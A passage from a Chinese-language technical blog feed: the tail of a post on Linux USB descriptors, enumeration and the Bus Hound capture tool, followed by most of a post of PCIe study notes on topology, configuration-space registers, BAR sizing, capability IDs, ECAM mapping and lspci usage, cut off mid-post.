			&amp;#x2F;* NOTE:  these two are _only_ in audio endpoints. *&amp;#x2F;
			&amp;#x2F;* use USB_DT_ENDPOINT*_SIZE in bLength, not sizeof. *&amp;#x2F;
			__u8  bRefresh;
			__u8  bSynchAddress;
} __attribute__ ((packed));
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;USB 枚举：
  当 USB 设备与 USB 主机连接以后主机就会对 USB 设备进行枚举，通过枚举来获取设备的描述符信息，主机得到这些信息以后就知道该加载什么样的驱动、如何进行通信等。USB 枚举过程如下：
  ①、第一回合，当 USB 主机检测到 USB 设备插入以后机会&lt;strong&gt;发出总线复位信号来复位设备&lt;&#x2F;strong&gt;。&lt;strong&gt;USB 设备复位完成以后地址为 0，主机向地址 0 的端点 0 发送数据，请求设备的描述符&lt;&#x2F;strong&gt;。设备得到请求以后就会按照主机的要求将设备描述符发送给主机，主机得到设备发送过来的设备描述符以后，如果&lt;strong&gt;确认无误就会向设备返回一个确认数据包(ACK)。&lt;&#x2F;strong&gt;
   ②、&lt;strong&gt;第二回合，主机再次复位设备，进入地址设置阶段。&lt;&#x2F;strong&gt;  主机向地址 0 的端点 0 发送设置地址请求数据包，新的设备地址就包含在这个数据包中，因此没有数据过程。设备进入状态过程，等待主机请求状态返回，&lt;strong&gt;收到以后设备就会向主机发送一个 0 字节状态数据包&lt;&#x2F;strong&gt;，表明设备已经设置好地址了，主机收到这个 0 字节状态数据包以后会返回一个确认包(ACK)。设备收到主机发送的 ACK 包以后就会使用这个新的设备地址，至此设备就得到了一个唯一的地址。
  ③、第三回合，&lt;strong&gt;主机向新的设备地址端点 0 发送请求设备描述符数据包&lt;&#x2F;strong&gt;，这一次主机要获取整个设备描述符，一共是&lt;strong&gt;18 个字节&lt;&#x2F;strong&gt;。
④、和第③步类似，接下来依次&lt;strong&gt;获取配置描述符、配置集合、字符串描述符&lt;&#x2F;strong&gt;等等。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;usb-zhua-bao-gong-ju-bus-hound&quot;&gt;USB &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;so.csdn.net&#x2F;so&#x2F;search?q=%E6%8A%93%E5%8C%85%E5%B7%A5%E5%85%B7&amp;amp;spm=1001.2101.3001.7020&quot;&gt;抓包工具&lt;&#x2F;a&gt;（BUS Hound）&lt;&#x2F;h2&gt;
&lt;p&gt;  一个便利的USB抓帧工具，能让我们在USB驱动开发过程中事半功倍。以下为BUS Hound 抓取数据帧的界面：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;linux-usb-basics&#x2F;bushound-usb-packet-capture.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;perisoft.net&#x2F;bushound&#x2F;&quot;&gt;BUS Hound 抓帧工具的下载地址&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.cnblogs.com&#x2F;ChYQ&#x2F;p&#x2F;5371806.html&quot;&gt;BUS Hound 抓帧工具的使用方法&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>PCIe学习笔记之pcie结构和配置空间</title>
        <published>2025-01-12T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/pcie学习笔记之pcie结构和配置空间/"/>
        <id>https://vercel.juzhong.asia/obsidian/pcie学习笔记之pcie结构和配置空间/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/pcie学习笔记之pcie结构和配置空间/">&lt;h1 id=&quot;pciexue-xi-bi-ji-zhi-pciejie-gou-he-pei-zhi-kong-jian&quot;&gt;PCIe学习笔记之pcie结构和配置空间&lt;&#x2F;h1&gt;
&lt;p&gt;PCI Express
，是计算机总线PCI的一种，它沿用现有的PCI编程概念及通信标准，但建基于更快的串行通信系统。
PCIE总线使用的是高速差分总线，并采用端到端的连接方式， 现在的高速总线基本上都是串行总线，这样可以使用更高的时钟频率。&lt;&#x2F;p&gt;
&lt;p&gt;当前pcie协议支持到5.0版本，不同PCIe版本对应的传输速率如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;PCIe 版本&lt;&#x2F;th&gt;&lt;th&gt;编码&lt;&#x2F;th&gt;&lt;th&gt;传输速率(GT&#x2F;S)&lt;&#x2F;th&gt;&lt;th&gt;x4吞吐量(MB&#x2F;s)&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1.0&lt;&#x2F;td&gt;&lt;td&gt;8b&#x2F;10b&lt;&#x2F;td&gt;&lt;td&gt;2.5&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2.0&lt;&#x2F;td&gt;&lt;td&gt;8b&#x2F;10b&lt;&#x2F;td&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3.0&lt;&#x2F;td&gt;&lt;td&gt;128b&#x2F;130b&lt;&#x2F;td&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;~4&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4.0&lt;&#x2F;td&gt;&lt;td&gt;128b&#x2F;130b&lt;&#x2F;td&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;~8&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;5.0&lt;&#x2F;td&gt;&lt;td&gt;128b&#x2F;130b&lt;&#x2F;td&gt;&lt;td&gt;32&lt;&#x2F;td&gt;&lt;td&gt;~16&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;pciezong-xian-de-tuo-bu-jie-gou&quot;&gt;pcie总线的拓扑结构&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-tree-topology.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
PCIe采用的是树形拓扑结构， 它的体系架构一般由root complex，switch，endpoint等类型的PCIe设备组成
&lt;strong&gt;root complex:&lt;&#x2F;strong&gt;  根桥设备，是PCIe最重要的一个组成部件； root complex主要负责PCIe报文的解析和生成。RC接受来自CPU的IO指令，生成对应的PCIe报文，或者接受来自设备的PCIe TLP报文，解析数据传输给CPU或者内存。
&lt;strong&gt;switch:&lt;&#x2F;strong&gt;  PCIe的转接器设备，目的是扩展PCIe总线。和PCI并行
总线不同，PCIe的总线采用了高速差分总线，并采用端到端的连接方式, 因此在每一条PCIe链路中两端只能各连接一个设备， 如果需要挂载更多的PCIe设备，那就需要用到switch转接器。switch在linux
下不可见，软件
层面可以看到的是switch的上行口（upstream port， 靠近RC的那一侧)和下行口(downstream port)。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-switch-topology.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
一般而言，一个switch 只有一个upstream port， 可以有多个downstream port.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;PCIe endponit:&lt;&#x2F;strong&gt;  PCIe终端设备，是PCIe树形结构的叶子节点。比如网卡，NVME卡，显卡都是PCIe ep设备。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-tv-bus-topology.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
lspci -tv命令可以显示pcie的总线拓扑，如上图所示， 一个PCIe设备的ID由以下几个部分组成：
以0000:00:00.0为例，分别对应PCI域，总线号，设备号，功能号&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;PCI域：PCI域ID，目的是为了突破pcie256条总线的限制。&lt;&#x2F;li&gt;
&lt;li&gt;PCI总线号：pci设备的总线ID，占用8位，所以PCIe总线最多支持256个子总线。&lt;&#x2F;li&gt;
&lt;li&gt;PCI设备号：指定总线上，pci的设备ID，Device Number占用5位， 所以每个子总线最多支持32个设备&lt;&#x2F;li&gt;
&lt;li&gt;PCI功能号：指定设备上，pci设备的功能ID， 一个pci 物理设备可以实现多个功能设备，且逻辑功能相互独立，Function Number占用3位，所以每个物理设备最多支持8个功能。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;BDF（Bus，device，function）构成了每个PCIe设备节点的身份标识。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pciepei-zhi-kong-jian&quot;&gt;PCIe配置空间&lt;&#x2F;h3&gt;
&lt;p&gt;PCI有三个相互独立的物理地址空间:memory地址空间、I&#x2F;O地址空间和配置空间。这三个地址空间都是采用唯一的地址进行寻址，比如我们使用地址0x100时需要指定这个地址在哪个地址空间，配置空间，I&#x2F;O地址空间和memory地址空间的0x100偏移，对应的是不同的存储位置。
我们可以读取配置空间获得设备的信息，也可以通过配置空间来配置设备，通过pci设备的id和配置空间的偏移地址， 软件可以来访问具体的寄存器。
PCIe设备的每一个功能(function)都对应一个独立的配置空间， pcie的配置空间布局如下：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-config-space-layout.webp&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
如上图所示，pci的配置空间是256字节，其中64字节是标准配置空间header， 后面的192字节是Capability结构， 展示pci能提供的能力。 为了兼容PCI，PCIe的配置空间前256字节与PCI保持一致，256~4096字节是pcie 扩展配置空间，包含pcie的扩展能力如AER。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;1-pcibiao-zhun-pei-zhi-kong-jian-tou-0-64-bytes&quot;&gt;1. PCI标准配置空间头(0 ~ 64 bytes)&lt;&#x2F;h4&gt;
&lt;p&gt;PCI标准配置空间分type0和type1两种。type0主要是针对PCI的endpoint设备，type1主要是针对PCI bridge, switch。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pci-config-space-type0-type1.webp&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
如上图所示，type0和type1有一些共同的寄存器描述。
&lt;strong&gt;Device ID:&lt;&#x2F;strong&gt;  设备ID， 表示该PCI设备的设备号，只读。
&lt;strong&gt;Vendor ID:&lt;&#x2F;strong&gt;  厂商ID， 表示生产该设备的厂商的编号，只读。
&lt;strong&gt;Status&lt;&#x2F;strong&gt;: pci设备状态寄存器，用于保存pci设备的状态，如中断状态或运行产生错误时的状态。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pci-command-register-bits.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Command:&lt;&#x2F;strong&gt;  PCI设备命令寄存器， 在pci设备使能pci_enable_device时会配置该寄存器。主要时负责使能或关闭pci设备的I&#x2F;O 访问，memory访问和INTx中断等。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] PCI 配置空间 Command 寄存器（16 位）位定义图：bit15 保留；bit10 禁用中断；bit9 快速背靠背允许（PCI 专用，Express 不用）；bit8 SERR# 允许；bit7 步长控制（PCI 专用）；bit6 奇偶校验错误响应；bit5 VGA 调色板侦测（PCI 专用）；bit4 存储器写并失效（PCI 专用）；bit3 特殊循环（PCI 专用）；bit2 总线主控；bit1 存储器空间允许；bit0 I&#x2F;O 空间允许。
&lt;strong&gt;Class Code:&lt;&#x2F;strong&gt;  设备分类信息， 表示pci设备属于哪一种类别，如网卡，存储卡，显卡等。需要重点关注的一个寄存器，之前定位过一个问题，pci设备资源分配失败，就是因为将class code设置为0， 而那张卡是pcie 网卡， class code应该设置为2。
&lt;strong&gt;Revision ID:&lt;&#x2F;strong&gt;  设备版本ID, 表示PCI设备的版本号。该寄存器可以被认为是Device ID寄存器的扩展。 只读。
&lt;strong&gt;BIST:&lt;&#x2F;strong&gt;  可选，用于内部自检。
&lt;strong&gt;Header type:&lt;&#x2F;strong&gt;  PCI设备头类型寄存器，表示该设备时pci EP设备还是PCI 桥设备。PCI配置空间时type0还是type1就是由该寄存器定于。
&lt;strong&gt;Lantency Timer:&lt;&#x2F;strong&gt;  在PCI总线中，多个设备共享同一条总线带宽，该寄存器用来控制PCI设备占用PCI总线的时间。PCIe设备不需要使用该寄存器，该寄存器的值必须为0。因为PCIe总线的仲裁方法与PCI总线不同，使用的连接方法也与PCI总线不同。
&lt;strong&gt;Cache line size:&lt;&#x2F;strong&gt;  cache缓存大小。对于PCIe设备，该寄存器的值无意义。
&lt;strong&gt;Expansion Rom Base Address:&lt;&#x2F;strong&gt;  扩展ROM映射基地址寄存器。分配给ROM使用，用于PCI设备在处理器还没有运行操作系统之前，完成基本的初始化设置。
&lt;strong&gt;Base Address register:&lt;&#x2F;strong&gt;  BAR地址寄存器负责PCI设备内部空间的映射。
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-config-bar-registers.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
type0有6个32bit的BAR寄存器，type1与2个32bit的BAR寄存器。每一个BAR地址对应一个地址空间。
在BAR寄存器有些bit是只读的，是PCI设备在出厂前就固定好的bit，写全1进去，如果值保持不变，就说明这些bit是厂家固化好的，这些固化好的bit提供了这块内部空间的一些信息。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;举个例子：
上电时，系统软件首先会读取PCIe设备的BAR0，得到数据：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-bar0-read-value.webp&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
然后系统软件往该BAR0写入全1，得到：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-bar-size-probing.webp&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
低12bit没变，表明该设备空间大小是4KB（2的12次方），BAR地址的低4位表明了该存储空间的一些属性（[0]: IO映射还是memory映射，[2:1]32bit地址还是64bit地址，[3]能否可预取）。
然后系统软件根据这些信息，在系统内存空间找到这样一块地方来映射这4KB的空间，&lt;strong&gt;把分配的基地址写入到BAR寄存器。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;BAR地址寄存器负责PCI设备内部空间的映射， 有了这个映射，CPU可以做到对pcie设备空间的访问。
比如CPU想去读PCIe设备的数据，系统启动时通过BAR地址把PCIe设备空间映射到内存空间，&lt;strong&gt;CPU要访问该PCIe设备空间，只需访问对应的内存空间&lt;&#x2F;strong&gt;。CPU发出一个物理地址，RC检查该地址，如果发现该内存空间地址是某个PCIe设备空间的映射，就会触发其产生TLP，去访问对应的PCIe设备，读取或者写入PCIe设备。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Capbility Pointer:&lt;&#x2F;strong&gt;  PCI capbility的地址偏移， capbility用于表示pci设备支持的能力。该寄存器存放Capabilities 结构链表
的头指针。在一个PCIe 设备中，可能含有多个Capability 结构，这些寄存器组成一个链表:
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pci-capability-linked-list.jpg&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Interrupt Pin:&lt;&#x2F;strong&gt;  PCI设备中断引脚，支持INTX A&#x2F;B&#x2F;C&#x2F;D四个中断引脚。
&lt;strong&gt;Interrupt line:&lt;&#x2F;strong&gt;  表示当前PCI设备使用的中断号。&lt;&#x2F;p&gt;
&lt;p&gt;type0 独有的寄存器：
&lt;strong&gt;CardBus CISpointer:&lt;&#x2F;strong&gt;  只读，可选，用于表明访问CIS(card info structure)的地址空间， 通常不会涉及。
&lt;strong&gt;Subsystem ID&#x2F; subsystem Vendor ID:&lt;&#x2F;strong&gt;  子系统和子厂商ID，可以结合Device ID和Vendor ID来组成完成的PCI设备标识。
&lt;strong&gt;Max_lat&lt;&#x2F;strong&gt;: 设备期望的最大延时，只读。
&lt;strong&gt;Min_Gbt:&lt;&#x2F;strong&gt;  设备期望的最小延时，只读。&lt;&#x2F;p&gt;
&lt;p&gt;type1 独有的寄存器：
&lt;strong&gt;Primary Bus Number:&lt;&#x2F;strong&gt;  表示PCI设备挂在的PCI总线号。
&lt;strong&gt;Subordinate Bus Number:&lt;&#x2F;strong&gt;  PCI桥可以管理其下的PCI总线子树。其中Subordinate Bus Number寄存器存放当前PCI子树中，编号最大的PCI总线号。
&lt;strong&gt;Secondary Bus Number：&lt;&#x2F;strong&gt;  存放当前PCI桥Secondary Bus使用的总线号，这个PCI总线号也是该PCI桥管理的PCI子树中编号最小的PCI总线号
&lt;strong&gt;Secondary Latency Timer:&lt;&#x2F;strong&gt;  PCI桥下游的延时寄存器，和Latency Timer寄存器的含义相近
&lt;strong&gt;I&#x2F;O base:&lt;&#x2F;strong&gt;  表示IO寻址的基地址， 低4bit只读，所以PCI设备默认IO寻址4K对齐，高4bit可写。
&lt;strong&gt;I&#x2F;O limit:&lt;&#x2F;strong&gt;  IO寻址的上限，高4bit可写，低4bit为全F，所以io寻址上限是I&#x2F;O limit地址 + 4K.
&lt;strong&gt;Secondary status:&lt;&#x2F;strong&gt;  保存PCI下游总线和设备的状态。
&lt;strong&gt;Memory Base:&lt;&#x2F;strong&gt;  表示memory寻址的基地址。
&lt;strong&gt;Memory Limit:&lt;&#x2F;strong&gt;  表示memroy寻址的上限，和IO limit类似。
&lt;strong&gt;Prefetchable Memory Base:&lt;&#x2F;strong&gt;  可预期内存的基地址
&lt;strong&gt;Prefetchable Memory Limit:&lt;&#x2F;strong&gt;  可预期内存寻址的上限。
&lt;strong&gt;Bridge Control Register&lt;&#x2F;strong&gt;：管理PCI桥的Secondary Bus， 可以控制 Secondary Bus的 Reset。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;2-pci-capbilityjie-gou-64-256bytes&quot;&gt;2. PCI capbility结构(64 ~ 256bytes)&lt;&#x2F;h4&gt;
&lt;p&gt;这段空间主要存放一些与MSI&#x2F;MSI-X中断机制和电源管理相关的capbility。
在内核include&#x2F;uapi&#x2F;linux&#x2F;pci_regs.h归纳了capabilityID和各个capability名称的对应关系：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&amp;#x2F;* Capability lists *&amp;#x2F;
#define PCI_CAP_LIST_ID   0 &amp;#x2F;* Capability ID *&amp;#x2F;
#define  PCI_CAP_ID_PM    0x01 &amp;#x2F;* Power Management *&amp;#x2F;
#define  PCI_CAP_ID_AGP   0x02 &amp;#x2F;* Accelerated Graphics Port *&amp;#x2F;
#define  PCI_CAP_ID_VPD   0x03 &amp;#x2F;* Vital Product Data *&amp;#x2F;
#define  PCI_CAP_ID_SLOTID  0x04 &amp;#x2F;* Slot Identification *&amp;#x2F;
#define  PCI_CAP_ID_MSI   0x05 &amp;#x2F;* Message Signalled Interrupts *&amp;#x2F;
#define  PCI_CAP_ID_CHSWP 0x06  &amp;#x2F;* CompactPCI HotSwap *&amp;#x2F;
#define  PCI_CAP_ID_PCIX  0x07 &amp;#x2F;* PCI-X *&amp;#x2F;
#define  PCI_CAP_ID_HT    0x08 &amp;#x2F;* HyperTransport *&amp;#x2F;
#define  PCI_CAP_ID_VNDR  0x09 &amp;#x2F;* Vendor specific *&amp;#x2F;
#define  PCI_CAP_ID_DBG   0x0A &amp;#x2F;* Debug port *&amp;#x2F;
#define  PCI_CAP_ID_CCRC  0x0B &amp;#x2F;* CompactPCI Central Resource Control *&amp;#x2F;
#define  PCI_CAP_ID_SHPC  0x0C &amp;#x2F;* PCI Standard Hot-Plug Controller *&amp;#x2F;
#define  PCI_CAP_ID_SSVID 0x0D  &amp;#x2F;* Bridge subsystem vendor&amp;#x2F;device ID *&amp;#x2F;
#define  PCI_CAP_ID_AGP3  0x0E &amp;#x2F;* AGP Target PCI-PCI bridge *&amp;#x2F;
#define  PCI_CAP_ID_EXP   0x10 &amp;#x2F;* PCI Express *&amp;#x2F;
#define  PCI_CAP_ID_MSIX  0x11 &amp;#x2F;* MSI-X *&amp;#x2F;
#define  PCI_CAP_ID_AF    0x13 &amp;#x2F;* PCI Advanced Features *&amp;#x2F;
#define PCI_CAP_LIST_NEXT 1 &amp;#x2F;*Next capability in the list *&amp;#x2F;
#define PCI_CAP_FLAGS   2 &amp;#x2F;* Capability defined flags (16 bits) *&amp;#x2F;
#define PCI_CAP_SIZEOF    4
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;3-pcie-kuo-zhan-pei-zhi-kong-jian-256-4k-bytes&quot;&gt;3. PCIe 扩展配置空间(256 ~ 4K bytes)&lt;&#x2F;h4&gt;
&lt;p&gt;这段空间主要存放PCIe独有的一些capbility结构,如AER， SR-IOV等。
pcie扩展能力定义如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;&amp;#x2F;* Extended Capabilities (PCI-X 2.0 and Express) *&amp;#x2F;
#define PCI_EXT_CAP_ID(header)          (header &amp;amp; 0x0000ffff)
#define PCI_EXT_CAP_VER(header)         ((header &amp;gt;&amp;gt; 16) &amp;amp; 0xf)
#define PCI_EXT_CAP_NEXT(header)        ((header &amp;gt;&amp;gt; 20) &amp;amp; 0xffc)

#define PCI_EXT_CAP_ID_ERR      0x01    &amp;#x2F;* Advanced Error Reporting *&amp;#x2F;
#define PCI_EXT_CAP_ID_VC       0x02    &amp;#x2F;* Virtual Channel Capability *&amp;#x2F;
#define PCI_EXT_CAP_ID_DSN      0x03    &amp;#x2F;* Device Serial Number *&amp;#x2F;
#define PCI_EXT_CAP_ID_PWR      0x04    &amp;#x2F;* Power Budgeting *&amp;#x2F;
#define PCI_EXT_CAP_ID_RCLD     0x05    &amp;#x2F;* Root Complex Link Declaration *&amp;#x2F;
#define PCI_EXT_CAP_ID_RCILC    0x06    &amp;#x2F;* Root Complex Internal Link Control *&amp;#x2F;
#define PCI_EXT_CAP_ID_RCEC     0x07    &amp;#x2F;* Root Complex Event Collector *&amp;#x2F;
#define PCI_EXT_CAP_ID_MFVC     0x08    &amp;#x2F;* Multi-Function VC Capability *&amp;#x2F;
#define PCI_EXT_CAP_ID_VC9      0x09    &amp;#x2F;* same as _VC *&amp;#x2F;
#define PCI_EXT_CAP_ID_RCRB     0x0A    &amp;#x2F;* Root Complex RB? *&amp;#x2F;
#define PCI_EXT_CAP_ID_VNDR     0x0B    &amp;#x2F;* Vendor-Specific *&amp;#x2F;
#define PCI_EXT_CAP_ID_CAC      0x0C    &amp;#x2F;* Config Access - obsolete *&amp;#x2F;
#define PCI_EXT_CAP_ID_ACS      0x0D    &amp;#x2F;* Access Control Services *&amp;#x2F;
#define PCI_EXT_CAP_ID_ARI      0x0E    &amp;#x2F;* Alternate Routing ID *&amp;#x2F;
#define PCI_EXT_CAP_ID_ATS      0x0F    &amp;#x2F;* Address Translation Services *&amp;#x2F;
#define PCI_EXT_CAP_ID_SRIOV    0x10    &amp;#x2F;* Single Root I&amp;#x2F;O Virtualization *&amp;#x2F;
#define PCI_EXT_CAP_ID_MRIOV    0x11    &amp;#x2F;* Multi Root I&amp;#x2F;O Virtualization *&amp;#x2F;
#define PCI_EXT_CAP_ID_MCAST    0x12    &amp;#x2F;* Multicast *&amp;#x2F;
#define PCI_EXT_CAP_ID_PRI      0x13    &amp;#x2F;* Page Request Interface *&amp;#x2F;
#define PCI_EXT_CAP_ID_AMD_XXX  0x14    &amp;#x2F;* Reserved for AMD *&amp;#x2F;
#define PCI_EXT_CAP_ID_REBAR    0x15    &amp;#x2F;* Resizable BAR *&amp;#x2F;
#define PCI_EXT_CAP_ID_DPA      0x16    &amp;#x2F;* Dynamic Power Allocation *&amp;#x2F;
#define PCI_EXT_CAP_ID_TPH      0x17    &amp;#x2F;* TPH Requester *&amp;#x2F;
#define PCI_EXT_CAP_ID_LTR      0x18    &amp;#x2F;* Latency Tolerance Reporting *&amp;#x2F;
#define PCI_EXT_CAP_ID_SECPCI   0x19    &amp;#x2F;* Secondary PCIe Capability *&amp;#x2F;
#define PCI_EXT_CAP_ID_PMUX     0x1A    &amp;#x2F;* Protocol Multiplexing *&amp;#x2F;
#define PCI_EXT_CAP_ID_PASID    0x1B    &amp;#x2F;* Process Address Space ID *&amp;#x2F;
#define PCI_EXT_CAP_ID_DPC      0x1D    &amp;#x2F;* Downstream Port Containment *&amp;#x2F;
#define PCI_EXT_CAP_ID_L1SS     0x1E    &amp;#x2F;* L1 PM Substates *&amp;#x2F;
#define PCI_EXT_CAP_ID_PTM      0x1F    &amp;#x2F;* Precision Time Measurement *&amp;#x2F;
#define PCI_EXT_CAP_ID_MAX      PCI_EXT_CAP_ID_PTM

#define PCI_EXT_CAP_DSN_SIZEOF  12
#define PCI_EXT_CAP_MCAST_ENDPOINT_SIZEOF 40

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;pciepei-zhi-kong-jian-de-fang-wen&quot;&gt;PCIE配置空间的访问&lt;&#x2F;h3&gt;
&lt;p&gt;CPU可以通过访问BAR地址读取PCIe的设备空间，但是我们需要读取到配置空间才能获取BAR，那么怎么访问PCIe的配置空间呢？
ARM使用ECAM的方式访问PCIe配置空间。ECAM是一个将配置空间映射到MEMORY空间的规则。硬件
根据ECAM的方式将某个Memory空间映射给PCI配置空间，CPU访问对应的memory空间即可以操作PCIe配置空间。
映射的地址定义如下：
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;pcie-ecam-address-map.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
PCIe总线最多支持256个子总线，每个子总线最多支持32个设备，每个设备最多支持8个功能， 每个配置空间是4KB，所以需要映射256 buses × 32 devices × 8 functions × 4 KiB = 256 MiB 空间的大小。&lt;&#x2F;p&gt;
&lt;p&gt;在ACPI规范中，需要通过MCFG表上报ECAM的地址映射
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;ecam-mcfg-address-mapping.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
完成映射后，CPU发出的地址如果落在ECAM的范围内， 根据对应的bdf就可以访问到对应ep的配置空间了。
Linux内核中的MCFG实现读&#x2F;写分别对应函数pci_read_config_byte&#x2F;word&#x2F;dword 和 pci_write_config_byte&#x2F;word&#x2F;dword&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;go&quot; class=&quot;language-go &quot;&gt;&lt;code class=&quot;language-go&quot; data-lang=&quot;go&quot;&gt;EXPORT_SYMBOL(pci_bus_read_config_byte);
EXPORT_SYMBOL(pci_bus_read_config_word);
EXPORT_SYMBOL(pci_bus_read_config_dword);
EXPORT_SYMBOL(pci_bus_write_config_byte);
EXPORT_SYMBOL(pci_bus_write_config_word);
EXPORT_SYMBOL(pci_bus_write_config_dword);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;pciechang-yong-ming-ling&quot;&gt;PCIe常用命令&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;lspci&quot;&gt;lspci&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;查看pci设备拓扑结构： lspci -tv&lt;&#x2F;strong&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-tv-device-tree.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;strong&gt;查看pci设备详细信息: -s [b:d: f]&lt;&#x2F;strong&gt;
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-device-detail-info.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;
&lt;strong&gt;16进制查看pci设备配置空间：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;pci标准配置头空间 -x
&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;pcie-config-space&#x2F;lspci-config-space-hexdump.png&quot; alt=&quot;在这里插入图片描述&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;pci capbility配置空间 -xxx&lt;&#x2F;li&gt;
&lt;li&gt;pcie扩展配置空间-xxxx&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;举个例子:
查看设备的详细信息
